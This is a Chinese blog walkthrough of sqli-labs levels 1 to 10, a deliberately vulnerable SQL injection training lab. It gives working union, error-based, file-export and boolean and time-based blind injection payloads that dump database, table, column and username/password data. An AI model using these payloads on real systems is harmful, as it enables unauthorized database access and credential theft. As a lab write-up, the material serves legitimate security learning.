sqli-labs(1-10)

最新推荐文章于 2024-04-27 08:59:52 发布
最新推荐文章于 2024-04-27 08:59:52 发布
阅读量201 收藏
点赞数
分类专栏： Web安全 文章标签： mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43395215/article/details/108245630
版权

文章目录

第一关：

构造闭合：

有数据显示只需构造闭合就可爆出数据

构造闭合方式：“ ”、‘ ’、（ ）、（‘ ’）、（“ ”）、整形

判断闭合的方法：and 1 =1 或 and 1 = 2

判断闭合时，可以利用注释符 “–+”

第一关注入点：

/Less-1/?id=1'  and 1=2 --+

闭合方式判断成功就可以找到注入点

注入sql语句、爆数据

  • 使用联合查询，判断列数（联合查询必须列数相等）
/Less-1/?id=1' union all select 1,2,3 --+
  • 使用sql函数查询系统数据
    • 数据库版本
Less-1/?id=-1' union all select 1,version(),3 --+
  • 数据库名
/Less-1/?id=-1' union all select 1,database(),3 --+
  • 连接数据库用户
/Less-1/?id=-1' union all select 1,session_user(),3 --+
  • 操作系统
/Less-1/?id=-1' union all select 1,@@version_compile_os,3 --+

​

  • 查看数据库数据
    • 显示所有数据库名（group_concat() 函数把列转换为行输出）
/Less-1/?id=-1' union all select 1,schema_name,3 from information_schema.schemata --+
/Less-1/?id=-1' union all select 1,group_concat(schema_name),3 from information_schema.schemata --+
  • 显示当前数据库的所有表名
/Less-1/?id=-1' union all select 1,table_name,3 from information_schema.tables where table_schema = database()--+
/Less-1/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where  table_schema = database()--+
  • 显示表的列名
/Less-1 /?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 显示username列和password列
/Less-1/?id=-1' union all select 1,group_concat(username),group_concat(password) from users --+

显示出所有信息，第一关通关！

第二关：

与第一关一致，都有数据显示，只是闭合方式不同
闭合方式：

/Less-2/?id=-1 and 1=2 --+

整形可以不必加注释
第二关的sql注入与第一关一样

显示出所有信息，第二关通关！

第三关：

闭合方式：

/Less-3/?id=1') and 1=2 --+

第三关的sql注入与前面一样

显示出所有信息，第三关通关！

第四关：

闭合方式：

/Less-4/?id=1") and 1=2 --+

第四关的sql注入与前面一样

显示出所有信息，第四关通关！

第五关：

与前面不同的是，这一关没有数据信息显示，只有一行信息显示

闭合方式：

/Less-5/?id=1' and 1=2--+

sql注入方式：
双查询注入（注入时不一定一次成功，需要多试几次）

  • 使用联合查询，判断表的列数
 
/Less-5/?id=1' union all select 1,2,3 --+
  • 使用sql函数查询系统数据
    • 数据库版本
/Less-5/?id=1' union all select null,count(*),concat((select version()),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 数据库名
/Less-5/?id=1' union all select null,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 连接数据库用户
/Less-5/?id=1' union all select null,count(*),concat((select session_user()),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 操作系统
/Less-5/?id=1' union all select null,count(*),concat((select @@version_compile_os),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 查看数据库数据
    • 显示所有数据库名（需要手动输出）
    • Select column_name from information_schema.columns where schema_name = database()
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 7,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 显示当前数据库的所有表名（需要手动输出）
/Less-5/?id=1' union all select null,count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 显示表的列名
/Less-5/?id=1' union all select null,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 显示username列和password列
/Less-5/?id=1' union all select null,count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
/Less-5/?id=1' union all select null,count(*),concat((select password from users limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+

显示出所有的信息，第五关通关！

第六关：

与第5关相同，采用另一种形式

闭合方式：

/Less-6/?id=1" and 1=2 --+

sql注入方式：

xml报错型注入：

  • Extractvalue
  • Updatexml
  • 使用sql函数查询系统数据
  • 数据库版本
/Less-6/?id=1" and extractvalue(1,concat(version())) --+
  • 数据库名
/Less-6/?id=1" and extractvalue(1,concat(0x23,database(),0x23)) --+
/Less-6/?id=1" and updatexml(1,concat(0x23,database(),0x23),1)--+
  • 连接数据库用户
/Less-6/?id=1" and extractvalue(1,concat(0x23,user(),0x23)) --+
  • 操作系统
/Less-6/?id=1" and extractvalue(1,concat(0x23,@@version_compile_os,0x23)) --+
  • 查看数据库数据
    • 显示所有数据库名（需要多次输出）
    • /Less-6/?id=1%22%20and%20extractvalue(1,mid(concat(0x23,(select%20group_concat(schema_name%20from%20inormation_schema.schemata)),0x23),1,32))–+
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) --+
  • 显示当前数据库的所有表名（需要多次输出）
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) --+
  • 显示表的列名
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(table_name) from information_schema.tables where  table_schema = database()),0x23),1,32)) --+
  • 显示username列和password列
/Less-6/?id=1" and  extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

显示出所有信息，第六关通关

第七关：

与前面不同的是，这次给的提示信息是要outfile，要导出文件

闭合方式：

/Less-7/?id=1')) and 1=1 --+
 
文件导出：
  • 使用sql函数查询系统数据
    • 数据库版本
/Less-7/?id=1')) union all select 1,version(),3 into outfile '/var/lib/mysql/datafile/out1.txt' --+
  • 数据库名
/Less-7/?id=1')) union all select 1,database(),3 into outfile '/var/lib/mysql/datafile/out2.txt' --+
  • 连接数据库用户
/Less-7/?id=1')) union all select 1,session_user(),3 into outfile '/var/lib/mysql/datafile/out3.txt' --+
  • 操作系统
/Less-7/?id=1')) union all select 1,@@version_compile_os,3 into outfile '/var/lib/mysql/datafile/out4.txt' --+
  • 查看数据库数据
    • 显示所有数据库名（group_concat() 函数把列转换为行输出）
/Less-7/?id=-1')) union all select null,group_concat(schema_name),null from information_schema.schemata into outfile '/var/lib/mysql/datafile/out5.txt' --+
  • 显示当前数据库的所有表名
/Less-7/?id=-1')) union all select null,group_concat(table_name),null from information_schema.tables where  table_schema = database() into outfile '/var/lib/mysql/datafile/out5.txt' --+
  • 显示表的列名
/Less-7/?id=-1')) union all select null,group_concat(column_name),null from information_schema.columns where table_schema='security' and table_name='users' into outfile '/var/lib/mysql/datafile/out5.txt' --+
  • 显示username列和password列
/Less-7/?id=-1')) union all select null,group_concat(username),group_concat(password) from users into outfile '/var/lib/mysql/datafile/out5.txt' --+
 
 
#有写数据库的设置有限制们只能保存在mysql的路径下

第八关：

与前面不同的是，第8关只显示对和错，不返回错误信息，需要通过猜测去判断

闭合方式：

/Less-8/?id=1'and 1=2

注入方式：

布尔型盲注
  • 使用sql函数查询系统数据
    • 数据库版本
/Less-8/?id=1' and (select version())='5.5.44-MariaDB' --+
/Less-8/?id=1' and (left((select version()),1))=5 --+
  • 数据库名
/Less-8/?id=1' and (left((select database()),2))='se' --+
  • 连接数据库用户
/Less-8/?id=1' and (left((select user()),1))='r' --+
/Less-8/?id=1' and ascii((left((select user()),1))) > 100--+
  • 操作系统
/Less-8/?id=1' and (left((select @@version_compile_os),1))='L'--+
  • 查看数据库数据
    • 显示所有数据库名
/Less-8/?id=1' and ascii((left((select group_concat(schema_name)from information_schema.schemata),1)))> 20--+
  • 显示当前数据库的所有表名
/Less-8/?id=1' and ascii((left((select group_concat(table_name) from information_schema.tables where  table_schema = database()),1)))> 20--+
  • 显示表的列名
/Less-8/?id=1' and ascii((left((
select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),1)))> 20--+
  • 判断username列第一行第一个字母
/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1,1)) > 10 --+

第九关：

不论如何构造闭合，页面都是现实的是同一条信息，所以采用时间盲注

构造闭合：

这里闭合的判断也需要使用时间延迟

/Less-9/?id=1' and sleep(3) --+

注入方式：
时间盲注

  • 使用sql函数查询系统数据
    • 数据库版本
/Less-9/?id=1' and if(left((select version()),1)=5,sleep(2),1) --+
  • 数据库名
/Less-9/?id=1' and if(left((select database()),1)='s',sleep(2),1) --+
  • 连接数据库用户
/Less-9/?id=1' and if(ascii(left((select user()),1)) > 100,sleep(2),1) --+
  • 操作系统
/Less-9/?id=1' and if((left((select @@version_compile_os),1))='L',sleep(2),1) --+
  • 查看数据库数据
    • 显示所有数据库名
/Less-9/?id=1' and if(ascii((left((select group_concat(schema_name)from information_schema.schemata),1)))> 20,sleep(2),1) --+
  • 显示当前数据库的所有表名
/Less-9/?id=1' and if(ascii((left((select group_concat(table_name) from information_schema.tables where%20 table_schema = database()),1)))> 20,sleep(2),1) --+
  • 显示表的列名
/Less-9/?id=1' and if(ascii((left((select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),1)))> 20,sleep(2),1) --+
  • 判断username列第一行第一个字母
/Less-9/?id=1' and if(ascii(substr((select username from users limit 1,1),1,1)) > 10,sleep(3),1) --+

第十关：

与第九关一样，时间型注入

封闭格式：

/Less-10/?id=1" and sleep(3) --+
 
#注入方式：
#时间型盲注
初宸
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQL操作符UNION和UNION ALL(合并两个或多个 SELECT 语句的结果集)
博客园
09-28 2万+
UNION 、UNION ALL操作符用于合并两个或多个 SELECT 语句的结果集。从这个角度来看，它们跟 JOIN 有些类似，都可以从多个表中获取信息。 注意的是： UNION 、UNION ALL内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。 下面是设计的两张表： STUDENTONE_MESSAGE表 ST...
sqli-labs大详解（完结）
热门推荐
hxhxhxhxx的博客
07-28 5万+
sqlilabs详解（不断更新）题目1-10Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)GET - Error based - Intiger based (基于错误的GET整型注入)Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)Less-4 GET - Error based - Double Quotes
Sqli-lab教程-史上最全详解（1-22通关）
Innocence_0的博客
04-27 1016
Less-1 联合注入Less-2Less-3Less-4Less-5 报错注入/布尔盲注/时间盲注Less-6 报错注入/布尔盲注/时间盲注Less-7 文件导出Less-8 布尔盲注/时间盲注Less-9 时间盲注Less-10 时间盲注Less-11 post注入Less-12 post注入Less-13 post盲注Less-14 post盲注Less-15 时间盲注Less-16 时间盲注Less-17 修改密码Less-18 user-agent头注入。
mysql：union 组合查询
非著名程序猿
03-15 2750
issue表 employee_table表 Union基础方法 -- union 去除重复 SELECT 1, 2 UNION SELECT 1, 2; -- union all 关联所有 包含重复 SELECT 1, 2 UNION ALL SELECT 1, 2; Union使用规则 Union有他的强大之处，详细介绍之前，首先明确一下Union的使用注意规则。 Union必须由两条或者两条以上的SELECT语句组成，语句之间使用Union链接。 Union中的每个查询必须包含相同的列
sqli-labs训练平台靶场详解！！！！
ytdd66的博客
03-19 3782
下面选取几个具有代表性的关卡，演示几种 SQL 注入漏洞利用方法。
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
首先，我们需要下载 sqli-labs 源码，链接为 https://github.com/Audi-1/sqli-labs。然后，我们将源码解压到 web 目录下，在这里是 www 目录下。 数据库配置 接下来，我们需要配置数据库连接。在这里，我们需要...
安装sqli-labs
10-22
安装sqli-labs靶场环境 本文旨在指导读者安装sqli-labs靶场环境，用于学习和练习SQL注入漏洞。sqli-labs是一款功能强大且易于使用的靶场环境，包含多种最新的漏洞，可以满足不同级别的用户需求。 为什么要使用本地...
sqli-labs.rar
12-22
SQL注入练习平台搭建，需要PHPstudy等对应的工具配合使用，很适合小白练习，收悉SQL的注入由浅入深 东西是好东西网上也有，后期会出教程。
零基础学SQL注入必练靶场之SQLiLabs（搭建+打靶）
Ms08067安全实验室
12-20 1万+
文章来源 | MS08067Web零基础就业班1期作业本文作者：giunwr、tyrant（零基础1期）SQLi-Labs是一个专业的SQL注入漏洞练习靶场，零基础的同学学SQL注入的时候，sqli-labs这个靶场是必练的，它里面包含了很多注入场景，以及在sql注入的时候遇到的各种问题，适用于GET和POST场景，包含了以下注入：一、作业描述完成sqllibs前18关，尽可能使用多的方法二、s...
Sqli-labs靶场搭建（适合新手小白围观）
weixin_72543266的博客
09-12 6353
本章是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养每日一言真正的有福之人，是经历极大的挫折磨难后，依然屹立不倒的人。一个人能承受的东西越多，他所能得到的馈赠才越多。
SQL注入 sqli-labs部分解析
ziwenya的博客
08-31 609
sql注入基础操作及相关sqli-labs关卡通关流程
sqli-labs靶场分析
RestoreJustice的博客
03-18 2323
这里是 基于WAF的一个错误引起的SQL注入，源代码level 29文件夹里有三个php文件，默认访问这个文件夹的index.php但这个文件是没有接入“WAF”的。在测试符号后面添加and sleep(5) --+，如果成功闭合前面的语句，则会执行sleep(5)，利用延时注入的原理判断闭合方式。来看看第二种格式，第二种格式除了能像第一种格式一样得到数组内元素的值外，还能得到元素的索引值，并保存到$key变量中，如果数组的索引值未经过人工设定，则返回系统默认的设定值。第一个id的值符合规则，WAF放行。
【个人学习笔记7之--联接与集合操作】
飞轩亭
10-27 2106
说到联接与集合操作，其实它们就是对表的2种形式的操作。前者是表之间的水平操作,后者是表之间的垂直操作。 1.联接联接分为2个时期.旧语法中,FROM子句后面表之间用逗号分开,没有JOIN ON 关键字.新语法才加入了JOIN关键字和ON子句.还引入了外部联接.旧的语法也是支持外部联接的,不过形式有所不同。以前关于外部联接的语法是 *=和=*(左右联接),不推荐.关于这方面的知识,可以参考J
select UNION ALL 合并两张表数据
稳哥的小灶
08-26 7105
select UNION ALL 合并两张表数据 SELECT id,uid FROM table1 t1 UNION ALL SELECT id,uid FROM table2 t2 查出来的结果，列名都是第一张表的字段名， 如果第一张表有某个字段，第二个表没有这个字段，或者第二张表有某个字段，第一张表没有这个字段，可以用null表示， SELECT id,uid，null usern...
为什么sql注入的时候会写union select 1，2~~~~~from admin
被遗弃的庸才博客
04-15 1万+
我也是最近好奇才去学了一点web渗透的知识。在这之前还是需要一定的数据库的相关知识。这里假设知道当前表有多少列（这里设置为10），也可以直接通过order by直接测试出来。union 是联和查询的一个关键字，这个有一个前提就是必须满足所有的列是相同的，所以在这前面必须要添加一些没有意义的列来作为填充。这里给一个网站大家可以去看看，我忘记是在哪里看到了，反正可以用。http://www.joesd...
sqli-labs-less1
最新发布
05-26
sqli-labs-less1是一个SQL注入练习平台，它主要用于学习和测试SQL注入攻击技术。sqli-labs-less1是一个非常基础的例子，旨在演示如何使用SQL注入攻击来绕过登录认证。它提供了一个登录页面，其中包含用户名和密码...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值